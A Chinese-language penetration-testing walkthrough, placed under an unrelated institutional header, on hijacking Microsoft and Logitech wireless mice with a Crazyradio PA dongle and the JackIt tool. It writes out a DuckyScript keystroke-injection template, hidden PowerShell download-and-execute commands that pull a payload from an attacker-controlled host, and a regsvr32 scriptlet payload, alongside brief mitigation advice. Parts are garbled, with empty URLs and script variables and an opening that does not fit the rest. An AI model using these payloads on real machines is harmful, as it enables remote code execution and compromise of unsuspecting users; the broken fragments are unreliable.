北京市朝阳区教育项目发展指导中心
前言
在内部交互行为中,对本地网络上的名称解析请求进行病毒感染,是获得一组初始域名凭据的有效方法之一。虽然这种方法对许多客户端有用,但是如果链路本地组播名称解析(LLMNR)和NETBIOS协议名称服务(NTB-NS)被安全地配置或者禁用?那该怎么办?
PROTIP: Always prove multiple means of access whenever possible during engagements!
渗透测试员在进行测试时会利用大量攻击,其中许多地方都是要用到无线外设,其中被称为“mouseJack攻击”的技术在2016年初被人们所熟知。
Mousejack攻击
Mousejack是专门针对无线键鼠的劫持攻击,2016年一家美国物联网安全创业公司Bastille发布了一个关于无线鼠标的漏洞披露报告,称多厂商生产的无线鼠标和无线键盘存在安全漏洞,恶意攻击者可以通过低成本的无线攻击设备在远达100米的范围内远程控制受害者的无线鼠标并进行一些恶意操作,这就是Mousejack攻击。
无线鼠标一般由两部分组成,鼠标和鼠标接收器,鼠标端通过采集鼠标的操作状态,比如采集鼠标各个按键的按下的状态,鼠标移动的轨迹等数据,然后把这些数据调制成模拟信号通过特定的无线频率(例如24Mhz,27Mhz,2.4Ghz,或者蓝牙)发射出去,鼠标接收器接受到无线信号后,解调成数据,解析里面的数据后做出相应的动作,比如按键和移动等操作,大多情况下无线鼠标通过2.4Ghz的无线频率和PC端进行通信。
本文将涉及以下面三个易受攻击的微软鼠标:
- 微软 Sculpt Ergonomic Mouse
- 微软 Wireless Mobile Mouse 4000
- 微软 Wireless Mouse 5000
以及罗技鼠标,受影响都是利用优联(Logitech Unifying)接收器软件的设备。
外设调制
为了帮助我进行Mousejack劫持渗透攻击,我需要先获得SeeedStudio的Crazyradio PA USB的加密狗和天线。这是一个约30美元的2.4 GHz远程无线发射器,将其用于自己的恶意目的。这个新固件将允许加密狗进行恶意运行,添加数据包嗅探和注入功能。一旦获得Crazyradio PA,可以在这里找到使用新固件进行设置的说明。
在我的个人实验室,我正在使用的是罗技的m510无线鼠标和微软的无线移动鼠标4000。这种情况的首选软件将是JackIt,一个由phiksun(@phikshun)和infamy(@meshmeld)编写的python脚本。该项目在利用Bastille在2016发布的研究工作基础上,简化了设备识别和攻击传播。使用Kali或自定义地传播,继续获取脚本:
$ git clone /opt/
在README.md文件中放一个gander,并按照说明安装JackIt。不过在安装完成后,请确保在启动工具之前插入Crazyradio PA加密狗。否则会导致JackIt发生错误。现在,我将在没有任何参数的情况下,开始运行JackIt。此时,工具进入侦察模式,无线输入设备的范围如下:
/opt/jackit/$ ./jackit.py
花一些时间来检查JackIt的输出,然后继续:
当发现设备时,会根据初始显示顺序在KEY列中创建一个新的行。定位特定设备时,你需要参考这个号码。ADDRESS列会显示无线设备的硬件MAC地址,以确定你以前是否看过/定位了某个特定设备(JackIt不会跟踪你以前定位的设备),因此在同时使用多台设备时,你需要自行跟踪它们,这一点很有用。一旦JackIt捕获足够的数据包,TYPE列就会显示该设备的品牌,以便准确识别。请注意,在上图中,第二个设备(KEY 2)还没有被充分地识别。
WARNING: You cannot successfully target a device without the TYPE column populated.
COUNT和SEEN列会在设备和其加密狗之间检测到的无线通信。COUNT是指Crazyradio PA获取设备和加密狗之间的通信次数。SEEN会通知我自检测到上一次通信以来已经过了几秒钟。如果在一段时间内未被检测到设备,则分为两种情况,一种是目前没有被使用,另一种是不再在检测范围内。对于第一种情况来说,用户可能并未开始使用设备。无论哪种情况,这些都可能不是理想的目标。
CHANNELS列表会显示无线外设和加密狗正在利用通信的通道。最后,PACKET会显示最后捕获的通信内容。不过,在本文的渗透测试中,我可以忽略这两列。
为了发现实际利用中的设备,JackIt将需要知道发送给受害者的恶意按键操作。该工具采用Ducky Script格式的命令,USB 橡皮鸭使用的语法,由Hak5创建的按键注入USB拇指驱动器。USB 橡皮鸭要求Duckyscript在被用于开发之前进行编码,而JackIt则没有这个要求,只需在文本文件中传递“plaintext”命令即可。如果你不熟悉Duckyscript,请点击这里。
下面,我可以推荐一个Duckscript mousejack劫持攻击的模板。鉴于用户可能看到正在进行的劫持攻击尝试,所以我会尽可能尝试简化攻击过程,但不会放弃攻击精度。
GUI r
DELAY 300
STRING ***INSERT MALICIOUS PAYLOAD HERE***
DELAY 300
ENTER
ENTER
使用上面的脚本,JackIt将打开Windows“运行”提示,临时暂停,传递我指定的任何恶意有效载荷,临时暂停,然后提交命令。为了让你了解按键注入的速度以及用户对正在运行的劫持攻击的可见性,我对使用上述模板向受害者设备发送的一串字符的进行了如下记录:
powershell.exe -nop -w hidden -c $v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://192.168.2.10/a');
正如你所看到的,即使我已经采取措施来加速攻击,还会显示一个活动窗口。
注意:如果注入的按键已经调用了一个有效的程序,例如powershell.exe,那么在执行程序后,该窗口将在注入结束时关闭。在这种情况下,提交的运行提示窗口会弹出,并且在无法正确处理命令时突出显示文本。
攻击时,我可以选择一个单独的设备,也可以选择多个设备或简单地利用所有的设备。一旦我按下ENTER键,我指定的攻击将会启动。根据目标设备的品牌差异,攻击可能会延迟10ms左右。当你看到[+] All attacks completed字样时,就标志着JackIt已经完成。
来看看我的Web Delivery模块,看看攻击是否成功:
powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://192.168.2.10/a');
看起来不是很顺利,虽然我试图对两个目标进行mousejack攻击 ,但是只有一个成功响应。稍后,我会分析导致了mousejack攻击尝试可能失败的原因。
截至目前,我已经成功地将Metasploit的Web Delivery模块与JackIt结合使用,从而攻击无线外设。还有其他可以利用的框架,会提供类似的powershell功能,包括Cobalt Strike和Empire。我来简单谈一谈Cobalt Strike,因为有一个非PowerShell的有效载荷,我喜欢用于劫持。
Cobalt Strike有一个称为Scripted Web Delivery的攻击,类似于Metasploit的Web Delivery,但提供了更多的有效载荷选项。虽然有一个PowerShell选项可用,但我更偏向使用regsvr32有效载荷,因为它的代码很短,但是,由于使用Visual Basic for Applications(VBA)宏和组件对象模型(COM)Scriptlet,所以应该首先需要将Microsoft Office安装在目标系统上:
一旦配置完成,有效载荷看起来如以下内容所示:
regsvr32 /u /n /s /i:80 /a scrobj.dll
至于这个有效载荷如何工作,并不属于本文的讲解范围,但如果你有兴趣了解更多信息,请点击这里。
需要注意的是,在成功的攻击之后,会再次出现JackIt的问题,收到错误消息如下所示:
我已经能够在运行在VMWare的Kali以及独立的Kali框架中重现此错误。如果你在其他类型的Linux上遇到此现象,请告诉我。除了重新启动操作系统之外,解决此错误的唯一方法是取消绑定,然后重新绑定CrazyRadio PA加密狗的USB驱动程序。这可以通过在CrazyRadio PA中拔下并重新插入,或通过控制台发出一些特定的命令来实现。幸运的是,我的同事写了一个Bash脚本,每当出现错误消息时,只要简单地运行以下脚本,就可以重新运行JackIt:
#!/bin/bash
# Tool::USB device reset script developed for use with JackIt & CrazyRadio PA USB Adapter
# Author::Dan Astor (@illegitimateDA)
# Usage::After running an attack with JackIt, run the script to reset the USB adapter. This will fix the USB Core Error Python throws.
# Unbind USB devices from the system and rebind them
for device in /sys/bus/pci/drivers/uhci_hcd/*:*; do
# Unbind the device
echo "" > "/unbind"
# Bind the device
echo "" > "/bind"
done
总结
首先,我来讨论一下攻击范围。坦白说,CrazyRadio PA附带的天线不是很完美,尽管在做产品宣传时,加密狗被描述为可以进行远距离地操作。在我进行渗透攻击测试时,却是问题百出。根据我的经验,我相信这些问题可以通过提高信号强度来避免,如使用9dBi Wifi Booster(一个加强版WiFi信号强度显示软件)。
其次,微软的无线设备可能是存在一些影响测试的小漏洞。与罗技外设不同,微软的设备和加密狗之间的每个通信都使用序列号。在JackIt监控序列号的情况下,如果用户在发送攻击之前执行某些操作(按键,移动鼠标等),则序列号将不再对齐,并且我将再次发现缺少或格式错误的字符。虽然有时候有些错误很难消除,但我更愿意使用罗技外设。
最后,我是如何选择构建指向我的有效载荷的URL的?这是个难题,利用Cobalt Strike,我已经托管了一个URL,其URL类似于上文提到的示例()。在对潜在的目标发起攻击后,我发现在命令与控制服务器上没有shell。在检查Cobalt Strike的Web日志时,我看到类似于以下内容的消息:
这是令人困惑的,为什么我的目标企图达成以/A结尾的网址?有没有错误的攻击字符串在我的DuckyScript文件中?经过快速检查,这些猜测都被排除了。后来我发现,用户必须已启用CAPS LOCK!从此,在我的mousejack URL中,使用数字/1就可以防止出现类似的问题。
缓解无线鼠标被劫持的方案
其实最简单的解决方案就是坚持使用有线外设。话虽如此,如果你完全用惯了2.4 GHz的无线鼠标,那只能依靠微软和罗技官方为受影响的产品制定缓解策略了。
微软已于2016年4月发布了一项安全通告,并附有相应的可选更新。该更新尝试在加密狗处添加更强大的过滤,以便检测并正确删除恶意按键。不过经过实践验证后,研究人员发现,即使在补丁升级后,某些设备仍然易受攻击。
而罗技则采取了不同的方法,他们要求用户手动对固件进行更新以彻底解决问题。这是过程比较复杂,只适用于专业技术人员。
鉴于以上的分析,我可以预测,未来对无线鼠标的劫持将会成为一个主流攻击手段。